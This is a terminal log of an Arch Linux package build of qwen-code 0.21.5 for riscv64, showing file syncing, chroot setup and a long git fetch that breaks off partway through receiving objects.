[1m[32m==>[m[1m Building on magmar[m
[1m[32m==>[m[1m Checking for remote environment...[m
[1m[32m==>[m[1m Syncing package to remote host...[m
sending incremental file list
./
.SRCINFO
822 100% 0.00kB/s 0:00:00
822 100% 0.00kB/s 0:00:00 (xfr#1, to-chk=7/9)
.nvchecker.toml
170 100% 166.02kB/s 0:00:00
170 100% 166.02kB/s 0:00:00 (xfr#2, to-chk=6/9)
LICENSE
646 100% 630.86kB/s 0:00:00
646 100% 630.86kB/s 0:00:00 (xfr#3, to-chk=5/9)
PKGBUILD
3,819 100% 3.64MB/s 0:00:00
3,819 100% 3.64MB/s 0:00:00 (xfr#4, to-chk=4/9)
REUSE.toml
437 100% 426.76kB/s 0:00:00
437 100% 426.76kB/s 0:00:00 (xfr#5, to-chk=3/9)
qwen-code-0.21.5-1.log
693 100% 676.76kB/s 0:00:00
693 100% 676.76kB/s 0:00:00 (xfr#6, to-chk=2/9)
LICENSES/
sent 3,142 bytes received 180 bytes 6,644.00 bytes/sec
total size is 6,097 speedup is 1.84
[1m[32m==>[m[1m Applying RISC-V patches...[m
sending incremental file list
./
riscv64.patch
795 100% 0.00kB/s 0:00:00
795 100% 0.00kB/s 0:00:00 (xfr#1, to-chk=0/2)
sent 600 bytes received 38 bytes 1,276.00 bytes/sec
total size is 795 speedup is 1.25
patching file PKGBUILD
[1m[32m==>[m[1m Patching arch to riscv64...[m
[1m[32m==>[m[1m Running pkgctl build --arch riscv64 on remote host...[m
[1m[33m==> WARNING:[m[1m invalid architecture: riscv64[m
[1m[32m==>[m[1m Updating pacman database cache[m
[?25l:: Synchronizing package databases...
core downloading...
extra downloading...
multilib downloading...
[?25h[1m[32m==>[m[1m Building qwen-code[m
[1m[34m ->[m[1m repo: extra[m
[1m[34m ->[m[1m arch: riscv64[m
[1m[34m ->[m[1m worker: felix-0[m
[1m[32m==>[m[1m Building qwen-code for [extra] (riscv64)[m
]3008;start=af7df59dbddf4821afa7413021fb1c8d;user=felix;hostname=magmar.felixc.at;machineid=df2217b61a6e4c659e659d77485a3d64;bootid=61694a90612d4b1f8d2901d77a08d47f;pid=1130428;pidfdid=26335320;comm=sudo;targetuser=root;type=session\[0;1;39mNote: in a future version of systemd-nspawn the default set of permitted socket address families will be restricted to AF_INET, AF_INET6 and AF_UNIX. Use --restrict-address-families= to configure the set of permitted socket address families, or set RestrictAddressFamilies= in a .nspawn file.[0m
]3008;start=131a63d22fd547eca2af94b10e9edf6b;user=root;hostname=magmar.felixc.at;machineid=df2217b61a6e4c659e659d77485a3d64;bootid=61694a90612d4b1f8d2901d77a08d47f;pid=1130472;pidfdid=26247161;comm=systemd-nspawn;container=arch-nspawn-1130472;type=container\]11;?\[22;2t]2;🔵 Container arch-nspawn-1130472 on magmar.felixc.at\[?25l:: Synchronizing package databases...
core downloading...
extra downloading...
:: Starting full system upgrade...
there is nothing to do
[?25h[23;2t[!p]104\[0m[?7h[1G[0J]3008;end=131a63d22fd547eca2af94b10e9edf6b\[1m[32m==>[m[1m Building in chroot for [extra] (riscv64)...[m
[1m[32m==>[m[1m Synchronizing chroot copy [/var/lib/archbuild/extra-riscv64/root] -> [felix-0]...[m[1mdone[m
]3008;start=a2873d54dd5e48a68b8787e8bee754e8;user=root;hostname=magmar.felixc.at;machineid=df2217b61a6e4c659e659d77485a3d64;bootid=61694a90612d4b1f8d2901d77a08d47f;pid=1130583;pidfdid=26345607;comm=sudo;targetuser=felix;type=session\[1m[32m==>[m[1m Making package: qwen-code 0.21.5-1 (Fri Sep 11 21:41:08 2026)[m
[1m[32m==>[m[1m Retrieving sources...[m
[1m[34m ->[m[1m Updating qwen-code git repo...[m
From https://github.com/QwenLM/qwen-code
- [deleted] (none) -> chore/remove-flaky-tests
- [deleted] (none) -> chore/remove-legacy-gemini-workflows
- [deleted] (none) -> chore/remove-pr-review-skill
- [deleted] (none) -> chore/remove-tool-token-count
- [deleted] (none) -> codex/markdown-syntax-extension
- [deleted] (none) -> feat/add-bugfix-workflow-and-testing-agents
- [deleted] (none) -> feat/approval-mode-propagation
- [deleted] (none) -> feat/background-agent-control
- [deleted] (none) -> feat/background-agent-ui
- [deleted] (none) -> feat/background-subagent
- [deleted] (none) -> feat/background-subagent-notifications
- [deleted] (none) -> feat/bare-exit-quit-commands
- [deleted] (none) -> feat/customize-banner-area
- [deleted] (none) -> feat/disallowed-tools
- [deleted] (none) -> feat/git-diff-stats
- [deleted] (none) -> feat/hook-event-contract
- [deleted] (none) -> feat/hook-prompt-hook-second
- [deleted] (none) -> feat/hook-taskcomplete
- [deleted] (none) -> feat/hooks-refactor-ui-event
- [deleted] (none) -> feat/hooks-remove-experimental
- [deleted] (none) -> feat/in-session-cron-loops
- [deleted] (none) -> feat/microcompaction
- [deleted] (none) -> feat/npm-extension-installation
- [deleted] (none) -> feat/oauth-free-tier-cutoff
- [deleted] (none) -> feat/python-sdk-pypi-release
- [deleted] (none) -> feat/qwen-config-dir
- [deleted] (none) -> feat/qwen-configs-and-skills
- [deleted] (none) -> feat/qwen3.6-plus-support
- [deleted] (none) -> feat/skill-model-override
- [deleted] (none) -> feat/subagent-stats-attribution
- [deleted] (none) -> feat/unified-subagent-display
- [deleted] (none) -> fix/3289-skill-watcher-fd-exhaustion
- [deleted] (none) -> fix/3304-strip-thoughts-on-model-switch
- [deleted] (none) -> fix/3664-subagent-context-compaction
- [deleted] (none) -> fix/3695-deepseek-tool-call-reasoning-content
- [deleted] (none) -> fix/anyof-schema-validation-coercion
- [deleted] (none) -> fix/ask-user-question-multiselect-optional
- [deleted] (none) -> fix/cancel-handler-no-restore-prev-prompt
- [deleted] (none) -> fix/channel-proxy-3122
- [deleted] (none) -> fix/ci-release-sdk-squash-merge
- [deleted] (none) -> fix/cli-thought-description-dropped
- [deleted] (none) -> fix/config-init-display-blank-lines
- [deleted] (none) -> fix/cron-interactive-test-cron-label
- [deleted] (none) -> fix/deepseek-reasoning-content-all-turns
- [deleted] (none) -> fix/deepseek-v4-context-window
- [deleted] (none) -> fix/dep0040-lazy-load-channels
- [deleted] (none) -> fix/disable-followup-suggestions-default
- [deleted] (none) -> fix/file-crawler-oom-maxfiles
- [deleted] (none) -> fix/history-reorder-on-submit
- [deleted] (none) -> fix/install-script-path-and-cleanup
- [deleted] (none) -> fix/issue-3171-cli-api-key-validation
- [deleted] (none) -> fix/mcp-cwd-enoent-error-message
- [deleted] (none) -> fix/model-dialog-block-qwen-oauth-selection
- [deleted] (none) -> fix/openai-logging-faithful-capture
- [deleted] (none) -> fix/per-agent-content-generator-view
- [deleted] (none) -> fix/posttooluse-additional-context-blocking
- [deleted] (none) -> fix/pty-fd-leak-upgrade-node-pty
- [deleted] (none) -> fix/queued-slash-command
- [deleted] (none) -> fix/remove-webui-core-dependency
- [deleted] (none) -> fix/respect-gitignore-in-path-reader
- [deleted] (none) -> fix/resume-token-count-after-compression
- [deleted] (none) -> fix/settings-migration-test-use-mcp-list
- [deleted] (none) -> fix/subagent-token-leak-footer
- [deleted] (none) -> fix/tab-paste-handling
- [deleted] (none) -> fix/textinput-newline-submit-3068
- [deleted] (none) -> fix/top-right-model-not-updating
- [deleted] (none) -> fix/unicode-agent-names
- [deleted] (none) -> fix/vsce-local-build
- [deleted] (none) -> fix/weixin-ilink-headers
- [deleted] (none) -> fix/weixin-login-headers
- [deleted] (none) -> hide-cron-skills-when-disabled
- [deleted] (none) -> refactor/fork-subagent-construction-time
- [deleted] (none) -> refactor/openai-converter-stateless
- [deleted] (none) -> refactor/unified-side-query-chokepoint
- [deleted] (none) -> release/v0.14.0
- [deleted] (none) -> release/v0.14.4
- [deleted] (none) -> release/v0.14.5
- [deleted] (none) -> remove-codeowners
- [deleted] (none) -> revert-openai-model-precedence-3567
- [deleted] (none) -> revert/pr-2666
- [deleted] (none) -> worktree-phase-c-monitor-tool
- [deleted] (none) -> x3
- [deleted] (none) -> zth/feat-desktop-oss
- [deleted] (none) -> zth/fix/insight
- [deleted] (none) -> refs/pull/1089/merge
- [deleted] (none) -> refs/pull/112/merge
- [deleted] (none) -> refs/pull/1232/merge
- [deleted] (none) -> refs/pull/1456/merge
- [deleted] (none) -> refs/pull/1537/merge
- [deleted] (none) -> refs/pull/1702/merge
- [deleted] (none) -> refs/pull/1705/merge
- [deleted] (none) -> refs/pull/1711/merge
- [deleted] (none) -> refs/pull/1757/merge
- [deleted] (none) -> refs/pull/1876/merge
- [deleted] (none) -> refs/pull/2061/merge
- [deleted] (none) -> refs/pull/2220/merge
- [deleted] (none) -> refs/pull/2330/merge
- [deleted] (none) -> refs/pull/2392/merge
- [deleted] (none) -> refs/pull/2398/merge
- [deleted] (none) -> refs/pull/2480/merge
- [deleted] (none) -> refs/pull/2485/merge
- [deleted] (none) -> refs/pull/2490/merge
- [deleted] (none) -> refs/pull/2512/merge
- [deleted] (none) -> refs/pull/2519/merge
- [deleted] (none) -> refs/pull/2534/merge
- [deleted] (none) -> refs/pull/2544/merge
- [deleted] (none) -> refs/pull/2627/merge
- [deleted] (none) -> refs/pull/2652/merge
- [deleted] (none) -> refs/pull/2821/merge
- [deleted] (none) -> refs/pull/2838/merge
- [deleted] (none) -> refs/pull/2879/merge
- [deleted] (none) -> refs/pull/2886/merge
- [deleted] (none) -> refs/pull/2915/merge
- [deleted] (none) -> refs/pull/294/merge
- [deleted] (none) -> refs/pull/2953/merge
- [deleted] (none) -> refs/pull/2968/merge
- [deleted] (none) -> refs/pull/2971/merge
- [deleted] (none) -> refs/pull/2974/merge
- [deleted] (none) -> refs/pull/2980/merge
- [deleted] (none) -> refs/pull/3012/merge
- [deleted] (none) -> refs/pull/302/merge
- [deleted] (none) -> refs/pull/3103/merge
- [deleted] (none) -> refs/pull/3115/merge
- [deleted] (none) -> refs/pull/3165/merge
- [deleted] (none) -> refs/pull/3214/merge
- [deleted] (none) -> refs/pull/3260/merge
- [deleted] (none) -> refs/pull/3378/merge
- [deleted] (none) -> refs/pull/3388/merge
- [deleted] (none) -> refs/pull/339/merge
- [deleted] (none) -> refs/pull/3455/merge
- [deleted] (none) -> refs/pull/3487/merge
- [deleted] (none) -> refs/pull/3491/merge
- [deleted] (none) -> refs/pull/3519/merge
- [deleted] (none) -> refs/pull/352/merge
- [deleted] (none) -> refs/pull/3537/merge
- [deleted] (none) -> refs/pull/3539/merge
- [deleted] (none) -> refs/pull/3557/merge
- [deleted] (none) -> refs/pull/3570/merge
- [deleted] (none) -> refs/pull/3583/merge
- [deleted] (none) -> refs/pull/3598/merge
- [deleted] (none) -> refs/pull/3604/merge
- [deleted] (none) -> refs/pull/3627/merge
- [deleted] (none) -> refs/pull/3635/merge
- [deleted] (none) -> refs/pull/3649/merge
- [deleted] (none) -> refs/pull/3663/merge
- [deleted] (none) -> refs/pull/3671/merge
- [deleted] (none) -> refs/pull/3673/merge
- [deleted] (none) -> refs/pull/3677/merge
- [deleted] (none) -> refs/pull/3680/merge
- [deleted] (none) -> refs/pull/3683/merge
- [deleted] (none) -> refs/pull/3685/merge
- [deleted] (none) -> refs/pull/3692/merge
- [deleted] (none) -> refs/pull/3698/merge
- [deleted] (none) -> refs/pull/3701/merge
- [deleted] (none) -> refs/pull/3707/merge
- [deleted] (none) -> refs/pull/3710/merge
- [deleted] (none) -> refs/pull/3714/merge
- [deleted] (none) -> refs/pull/3733/merge
- [deleted] (none) -> refs/pull/3735/merge
- [deleted] (none) -> refs/pull/3736/merge
- [deleted] (none) -> refs/pull/3741/merge
- [deleted] (none) -> refs/pull/3743/merge
- [deleted] (none) -> refs/pull/3749/merge
- [deleted] (none) -> refs/pull/3762/merge
- [deleted] (none) -> refs/pull/3767/merge
- [deleted] (none) -> refs/pull/3768/merge
- [deleted] (none) -> refs/pull/3769/merge
- [deleted] (none) -> refs/pull/3774/merge
- [deleted] (none) -> refs/pull/3775/merge
- [deleted] (none) -> refs/pull/3776/merge
- [deleted] (none) -> refs/pull/3777/merge
- [deleted] (none) -> refs/pull/3778/merge
- [deleted] (none) -> refs/pull/3780/merge
- [deleted] (none) -> refs/pull/3781/merge
- [deleted] (none) -> refs/pull/3783/merge
- [deleted] (none) -> refs/pull/3785/merge
- [deleted] (none) -> refs/pull/3788/merge
- [deleted] (none) -> refs/pull/3790/merge
- [deleted] (none) -> refs/pull/404/merge
- [deleted] (none) -> refs/pull/423/merge
- [deleted] (none) -> refs/pull/424/merge
- [deleted] (none) -> refs/pull/439/merge
- [deleted] (none) -> refs/pull/463/merge
- [deleted] (none) -> refs/pull/469/merge
- [deleted] (none) -> refs/pull/476/merge
- [deleted] (none) -> refs/pull/485/merge
- [deleted] (none) -> refs/pull/492/merge
- [deleted] (none) -> refs/pull/543/merge
- [deleted] (none) -> refs/pull/544/merge
- [deleted] (none) -> refs/pull/552/merge
- [deleted] (none) -> refs/pull/554/merge
- [deleted] (none) -> refs/pull/558/merge
- [deleted] (none) -> refs/pull/612/merge
- [deleted] (none) -> refs/pull/63/merge
- [deleted] (none) -> refs/pull/670/merge
- [deleted] (none) -> refs/pull/694/merge
- [deleted] (none) -> refs/pull/705/merge
- [deleted] (none) -> refs/pull/820/merge
- [deleted] (none) -> refs/pull/860/merge
- [deleted] (none) -> refs/pull/95/merge
[Kremote: Enumerating objects: 486437
[Kremote: Enumerating objects: 523938, done.
[Kremote: Counting objects: 0% (1/37501)
[Kremote: Counting objects: 1% (376/37501)
[Kremote: Counting objects: 2% (751/37501)
[Kremote: Counting objects: 3% (1126/37501)
[Kremote: Counting objects: 4% (1501/37501)
[Kremote: Counting objects: 5% (1876/37501)
[Kremote: Counting objects: 6% (2251/37501)
[Kremote: Counting objects: 7% (2626/37501)
[Kremote: Counting objects: 8% (3001/37501)
[Kremote: Counting objects: 9% (3376/37501)
[Kremote: Counting objects: 10% (3751/37501)
[Kremote: Counting objects: 11% (4126/37501)
[Kremote: Counting objects: 12% (4501/37501)
[Kremote: Counting objects: 13% (4876/37501)
[Kremote: Counting objects: 14% (5251/37501)
[Kremote: Counting objects: 15% (5626/37501)
[Kremote: Counting objects: 16% (6001/37501)
[Kremote: Counting objects: 17% (6376/37501)
[Kremote: Counting objects: 18% (6751/37501)
[Kremote: Counting objects: 19% (7126/37501)
[Kremote: Counting objects: 20% (7501/37501)
[Kremote: Counting objects: 21% (7876/37501)
[Kremote: Counting objects: 22% (8251/37501)
[Kremote: Counting objects: 23% (8626/37501)
[Kremote: Counting objects: 24% (9001/37501)
[Kremote: Counting objects: 25% (9376/37501)
[Kremote: Counting objects: 26% (9751/37501)
[Kremote: Counting objects: 27% (10126/37501)
[Kremote: Counting objects: 28% (10501/37501)
[Kremote: Counting objects: 29% (10876/37501)
[Kremote: Counting objects: 30% (11251/37501)
[Kremote: Counting objects: 31% (11626/37501)
[Kremote: Counting objects: 32% (12001/37501)
[Kremote: Counting objects: 33% (12376/37501)
[Kremote: Counting objects: 34% (12751/37501)
[Kremote: Counting objects: 35% (13126/37501)
[Kremote: Counting objects: 36% (13501/37501)
[Kremote: Counting objects: 37% (13876/37501)
[Kremote: Counting objects: 38% (14251/37501)
[Kremote: Counting objects: 39% (14626/37501)
[Kremote: Counting objects: 40% (15001/37501)
[Kremote: Counting objects: 41% (15376/37501)
[Kremote: Counting objects: 42% (15751/37501)
[Kremote: Counting objects: 43% (16126/37501)
[Kremote: Counting objects: 44% (16501/37501)
[Kremote: Counting objects: 45% (16876/37501)
[Kremote: Counting objects: 46% (17251/37501)
[Kremote: Counting objects: 47% (17626/37501)
[Kremote: Counting objects: 48% (18001/37501)
[Kremote: Counting objects: 49% (18376/37501)
[Kremote: Counting objects: 50% (18751/37501)
[Kremote: Counting objects: 51% (19126/37501)
[Kremote: Counting objects: 52% (19501/37501)
[Kremote: Counting objects: 53% (19876/37501)
[Kremote: Counting objects: 54% (20251/37501)
[Kremote: Counting objects: 55% (20626/37501)
[Kremote: Counting objects: 56% (21001/37501)
[Kremote: Counting objects: 57% (21376/37501)
[Kremote: Counting objects: 58% (21751/37501)
[Kremote: Counting objects: 59% (22126/37501)
[Kremote: Counting objects: 60% (22501/37501)
[Kremote: Counting objects: 61% (22876/37501)
[Kremote: Counting objects: 62% (23251/37501)
[Kremote: Counting objects: 63% (23626/37501)
[Kremote: Counting objects: 64% (24001/37501)
[Kremote: Counting objects: 65% (24376/37501)
[Kremote: Counting objects: 66% (24751/37501)
[Kremote: Counting objects: 67% (25126/37501)
[Kremote: Counting objects: 68% (25501/37501)
[Kremote: Counting objects: 69% (25876/37501)
[Kremote: Counting objects: 70% (26251/37501)
[Kremote: Counting objects: 71% (26626/37501)
[Kremote: Counting objects: 72% (27001/37501)
[Kremote: Counting objects: 73% (27376/37501)
[Kremote: Counting objects: 74% (27751/37501)
[Kremote: Counting objects: 75% (28126/37501)
[Kremote: Counting objects: 76% (28501/37501)
[Kremote: Counting objects: 77% (28876/37501)
[Kremote: Counting objects: 78% (29251/37501)
[Kremote: Counting objects: 79% (29626/37501)
[Kremote: Counting objects: 80% (30001/37501)
[Kremote: Counting objects: 81% (30376/37501)
[Kremote: Counting objects: 82% (30751/37501)
[Kremote: Counting objects: 83% (31126/37501)
[Kremote: Counting objects: 84% (31501/37501)
[Kremote: Counting objects: 85% (31876/37501)
[Kremote: Counting objects: 86% (32251/37501)
[Kremote: Counting objects: 87% (32626/37501)
[Kremote: Counting objects: 88% (33001/37501)
[Kremote: Counting objects: 89% (33376/37501)
[Kremote: Counting objects: 90% (33751/37501)
[Kremote: Counting objects: 91% (34126/37501)
[Kremote: Counting objects: 92% (34501/37501)
[Kremote: Counting objects: 93% (34876/37501)
[Kremote: Counting objects: 94% (35251/37501)
[Kremote: Counting objects: 95% (35626/37501)
[Kremote: Counting objects: 96% (36001/37501)
[Kremote: Counting objects: 97% (36376/37501)
[Kremote: Counting objects: 98% (36751/37501)
[Kremote: Counting objects: 99% (37126/37501)
[Kremote: Counting objects: 100% (37501/37501)
[Kremote: Counting objects: 100% (37501/37501), done.
[Kremote: Compressing objects: 0% (1/954)
[Kremote: Compressing objects: 1% (10/954)
[Kremote: Compressing objects: 2% (20/954)
[Kremote: Compressing objects: 3% (29/954)
[Kremote: Compressing objects: 4% (39/954)
[Kremote: Compressing objects: 5% (48/954)
[Kremote: Compressing objects: 6% (58/954)
[Kremote: Compressing objects: 7% (67/954)
[Kremote: Compressing objects: 8% (77/954)
[Kremote: Compressing objects: 8% (81/954)
[Kremote: Compressing objects: 9% (86/954)
[Kremote: Compressing objects: 10% (96/954)
[Kremote: Compressing objects: 11% (105/954)
[Kremote: Compressing objects: 12% (115/954)
[Kremote: Compressing objects: 13% (125/954)
[Kremote: Compressing objects: 14% (134/954)
[Kremote: Compressing objects: 15% (144/954)
[Kremote: Compressing objects: 15% (151/954)
[Kremote: Compressing objects: 16% (153/954)
[Kremote: Compressing objects: 17% (163/954)
[Kremote: Compressing objects: 18% (172/954)
[Kremote: Compressing objects: 19% (182/954)
[Kremote: Compressing objects: 20% (191/954)
[Kremote: Compressing objects: 21% (201/954)
[Kremote: Compressing objects: 22% (210/954)
[Kremote: Compressing objects: 23% (220/954)
[Kremote: Compressing objects: 24% (229/954)
[Kremote: Compressing objects: 25% (239/954)
[Kremote: Compressing objects: 26% (249/954)
[Kremote: Compressing objects: 27% (258/954)
[Kremote: Compressing objects: 28% (268/954)
[Kremote: Compressing objects: 29% (277/954)
[Kremote: Compressing objects: 30% (287/954)
[Kremote: Compressing objects: 31% (296/954)
[Kremote: Compressing objects: 32% (306/954)
[Kremote: Compressing objects: 33% (315/954)
[Kremote: Compressing objects: 34% (325/954)
[Kremote: Compressing objects: 35% (334/954)
[Kremote: Compressing objects: 36% (344/954)
[Kremote: Compressing objects: 37% (353/954)
[Kremote: Compressing objects: 38% (363/954)
[Kremote: Compressing objects: 39% (373/954)
[Kremote: Compressing objects: 40% (382/954)
[Kremote: Compressing objects: 41% (392/954)
[Kremote: Compressing objects: 42% (401/954)
[Kremote: Compressing objects: 43% (411/954)
[Kremote: Compressing objects: 44% (420/954)
[Kremote: Compressing objects: 45% (430/954)
[Kremote: Compressing objects: 46% (439/954)
[Kremote: Compressing objects: 47% (449/954)
[Kremote: Compressing objects: 48% (458/954)
[Kremote: Compressing objects: 49% (468/954)
[Kremote: Compressing objects: 50% (477/954)
[Kremote: Compressing objects: 51% (487/954)
[Kremote: Compressing objects: 52% (497/954)
[Kremote: Compressing objects: 53% (506/954)
[Kremote: Compressing objects: 54% (516/954)
[Kremote: Compressing objects: 55% (525/954)
[Kremote: Compressing objects: 56% (535/954)
[Kremote: Compressing objects: 57% (544/954)
[Kremote: Compressing objects: 58% (554/954)
[Kremote: Compressing objects: 59% (563/954)
[Kremote: Compressing objects: 60% (573/954)
[Kremote: Compressing objects: 61% (582/954)
[Kremote: Compressing objects: 62% (592/954)
[Kremote: Compressing objects: 63% (602/954)
[Kremote: Compressing objects: 64% (611/954)
[Kremote: Compressing objects: 65% (621/954)
[Kremote: Compressing objects: 66% (630/954)
[Kremote: Compressing objects: 67% (640/954)
[Kremote: Compressing objects: 68% (649/954)
[Kremote: Compressing objects: 69% (659/954)
[Kremote: Compressing objects: 70% (668/954)
[Kremote: Compressing objects: 71% (678/954)
[Kremote: Compressing objects: 72% (687/954)
[Kremote: Compressing objects: 73% (697/954)
[Kremote: Compressing objects: 74% (706/954)
[Kremote: Compressing objects: 75% (716/954)
[Kremote: Compressing objects: 76% (726/954)
[Kremote: Compressing objects: 77% (735/954)
[Kremote: Compressing objects: 78% (745/954)
[Kremote: Compressing objects: 79% (754/954)
[Kremote: Compressing objects: 80% (764/954)
[Kremote: Compressing objects: 81% (773/954)
[Kremote: Compressing objects: 82% (783/954)
[Kremote: Compressing objects: 83% (792/954)
[Kremote: Compressing objects: 84% (802/954)
[Kremote: Compressing objects: 85% (811/954)
[Kremote: Compressing objects: 86% (821/954)
[Kremote: Compressing objects: 87% (830/954)
[Kremote: Compressing objects: 88% (840/954)
[Kremote: Compressing objects: 89% (850/954)
[Kremote: Compressing objects: 90% (859/954)
[Kremote: Compressing objects: 91% (869/954)
[Kremote: Compressing objects: 92% (878/954)
[Kremote: Compressing objects: 93% (888/954)
[Kremote: Compressing objects: 94% (897/954)
[Kremote: Compressing objects: 95% (907/954)
[Kremote: Compressing objects: 96% (916/954)
[Kremote: Compressing objects: 97% (926/954)
[Kremote: Compressing objects: 98% (935/954)
[Kremote: Compressing objects: 99% (945/954)
[Kremote: Compressing objects: 100% (954/954)
[Kremote: Compressing objects: 100% (954/954), done.
Receiving objects: 0% (1/523938)
Receiving objects: 1% (5240/523938)
Receiving objects: 2% (10479/523938)
Receiving objects: 3% (15719/523938), 7.65 MiB | 14.36 MiB/s
Receiving objects: 4% (20958/523938), 7.65 MiB | 14.36 MiB/s
Receiving objects: 4% (22909/523938), 7.65 MiB | 14.36 MiB/s
Receiving objects: 5% (26197/523938), 29.70 MiB | 19.38 MiB/s
Receiving objects: 5% (29214/523938), 29.70 MiB | 19.38 MiB/s
Receiving objects: 6% (31437/523938), 42.02 MiB | 20.63 MiB/s
Receiving objects: 7% (36676/523938), 54.88 MiB | 21.60 MiB/s
Receiving objects: 7% (36935/523938), 54.88 MiB | 21.60 MiB/s
Receiving objects: 8% (41916/523938), 80.47 MiB | 22.68 MiB/s
Receiving objects: 8% (46318/523938), 80.47 MiB | 22.68 MiB/s
Receiving objects: 9% (47155/523938), 93.54 MiB | 23.10 MiB/s
Receiving objects: 10% (52394/523938), 107.40 MiB | 23.43 MiB/s
Receiving objects: 10% (57144/523938), 107.40 MiB | 23.43 MiB/s
Receiving objects: 11% (57634/523938), 107.40 MiB | 23.43 MiB/s
Receiving objects: 12% (62873/523938), 118.82 MiB | 24.40 MiB/s
Receiving objects: 13% (68112/523938), 129.41 MiB | 24.25 MiB/s
Receiving objects: 13% (69286/523938), 129.41 MiB | 24.25 MiB/s
Receiving objects: 14% (73352/523938), 140.25 MiB | 24.27 MiB/s
Receiving objects: 15% (78591/523938), 151.34 MiB | 23.98 MiB/s
Receiving objects: 15% (80660/523938), 151.34 MiB | 23.98 MiB/s
Receiving objects: 16% (83831/523938), 162.65 MiB | 23.66 MiB/s
Receiving objects: 17% (89070/523938), 162.65 MiB | 23.66 MiB/s
Receiving objects: 18% (94309/523938), 174.05 MiB | 23.21 MiB/s
Receiving objects: 18% (97430/523938), 174.05 MiB | 23.21 MiB/s
Receiving objects: 19% (99549/523938), 174.05 MiB | 23.21 MiB/s
Receiving objects: 20% (104788/523938), 185.23 MiB | 22.93 MiB/s
Receiving objects: 21% (110027/523938), 185.23 MiB | 22.93 MiB/s
Receiving objects: 22% (115267/523938), 196.34 MiB | 22.50 MiB/s
Receiving objects: 22% (118802/523938), 196.34 MiB | 22.50 MiB/s
Receiving objects: 23% (120506/523938), 208.23 MiB | 22.11 MiB/s
Receiving objects: 24% (125746/523938), 220.13 MiB | 22.13 MiB/s
Receiving objects: 24% (127934/523938), 220.13 MiB | 22.13 MiB/s
Receiving objects: 25% (130985/523938), 237.19 MiB | 20.86 MiB/s
Receiving objects: 25% (131916/523938), 237.19 MiB | 20.86 MiB/s
Receiving objects: 26% (136224/523938), 251.57 MiB | 19.02 MiB/s
Receiving objects: 26% (136853/523938), 251.57 MiB | 19.02 MiB/s
Receiving objects: 27% (141464/523938), 265.20 MiB | 17.17 MiB/s
Receiving objects: 27% (142127/523938), 265.20 MiB | 17.17 MiB/s
Receiving objects: 27% (143373/523938), 286.84 MiB | 14.46 MiB/s
Receiving objects: 27% (143373/523938), 301.67 MiB | 14.17 MiB/s
Receiving objects: 27% (143373/523938), 316.79 MiB | 14.43 MiB/s
Receiving objects: 27% (143376/523938), 331.91 MiB | 14.75 MiB/s
Receiving objects: 27% (143376/523938), 345.34 MiB | 14.26 MiB/s
Receiving objects: 27% (143813/523938), 352.82 MiB | 14.29 MiB/s
Receiving objects: 27% (145778/523938), 368.13 MiB | 14.39 MiB/s
Receiving objects: 28% (146703/523938), 368.13 MiB | 14.39 MiB/s
Receiving objects: 29% (151943/523938), 375.81 MiB | 14.44 MiB/s
Receiving objects: 29% (153493/523938), 383.12 MiB | 14.38 MiB/s
Receiving objects: 30% (157182/523938), 390.63 MiB | 14.37 MiB/s
Receiving objects: 30% (159535/523938), 398.22 MiB | 14.40 MiB/s
Receiving objects: 31% (162421/523938), 405.78 MiB | 14.40 MiB/s
Receiving objects: 31% (165602/523938), 413.57 MiB | 15.13 MiB/s
Receiving objects: 32% (167661/523938), 421.54 MiB | 15.24 MiB/s
Receiving objects: 32% (168394/523938), 428.63 MiB | 15.09 MiB/s
Receiving objects: 32% (172712/523938), 444.73 MiB | 15.30 MiB/s
Receiving objects: 33% (172900/523938), 453.07 MiB | 15.52 MiB/s
Receiving objects: 33% (173937/523938), 461.42 MiB | 15.69 MiB/s
Receiving objects: 33% (176026/523938), 478.93 MiB | 16.21 MiB/s
Receiving objects: 33% (176717/523938), 497.31 MiB | 16.75 MiB/s
Receiving objects: 34% (178139/523938), 497.31 MiB | 16.75 MiB/s
Receiving objects: 34% (180323/523938), 516.83 MiB | 17.67 MiB/s
Receiving objects: 35% (183379/523938), 516.83 MiB | 17.67 MiB/s
Receiving objects: 35% (184541/523938), 538.16 MiB | 18.76 MiB/s
Receiving objects: 35% (188352/523938), 561.34 MiB | 20.16 MiB/s
Receiving objects: 36% (188618/523938), 561.34 MiB | 20.16 MiB/s
Receiving objects: 36% (193698/523938), 586.61 MiB | 21.81 MiB/s
Receiving objects: 37% (193858/523938), 586.61 MiB | 21.81 MiB/s
Receiving objects: 37% (197591/523938), 614.57 MiB | 23.81 MiB/s
Receiving objects: 37% (198444/523938), 645.57 MiB | 26.19 MiB/s
Receiving objects: 38% (199097/523938), 645.57 MiB | 26.19 MiB/s
Receiving objects: 38% (200274/523938), 675.79 MiB | 27.95 MiB/s
Receiving objects: 38% (201246/523938), 706.16 MiB | 29.11 MiB/s
Receiving objects: 38% (202275/523938), 721.45 MiB | 29.47 MiB/s
Receiving objects: 38% (203689/523938), 752.23 MiB | 29.81 MiB/s
Receiving objects: 39% (204336/523938), 767.67 MiB | 29.70 MiB/s
Receiving objects: 39% (204997/523938), 783.20 MiB | 29.48 MiB/s
Receiving objects: 40% (209576/523938), 798.63 MiB | 29.32 MiB/s
Receiving objects: 40% (212552/523938), 814.06 MiB | 29.31 MiB/s
Receiving objects: 40% (213933/523938), 845.22 MiB | 29.38 MiB/s
Receiving objects: 41% (214815/523938), 860.83 MiB | 29.44 MiB/s
Receiving objects: 41% (216289/523938), 876.43 MiB | 29.50 MiB/s
Receiving objects: 41% (218108/523938), 907.75 MiB | 29.60 MiB/s
Receiving objects: 42% (220054/523938), 938.84 MiB | 29.63 MiB/s
Receiving objects: 42% (220075/523938), 938.84 MiB | 29.63 MiB/s
Receiving objects: 43% (225294/523938), 954.49 MiB | 29.67 MiB/s
Receiving objects: 44% (230533/523938), 954.49 MiB | 29.67 MiB/s
Receiving objects: 45% (235773/523938), 954.49 MiB | 29.67 MiB/s
Receiving objects: 45% (238469/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 46% (241012/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 47% (246251/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 48% (251491/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 49% (256730/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 50% (261969/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 51% (267209/523938), 970.09 MiB | 29.68 MiB/s
Receiving objects: 52% (272448/523938), 985.55 MiB | 29.65 MiB/s
Receiving objects: 53% (277688/523938), 985.55 MiB | 29.65 MiB/s
Receiving objects: 53% (279037/523938), 1001.09 MiB | 29.64 MiB/s
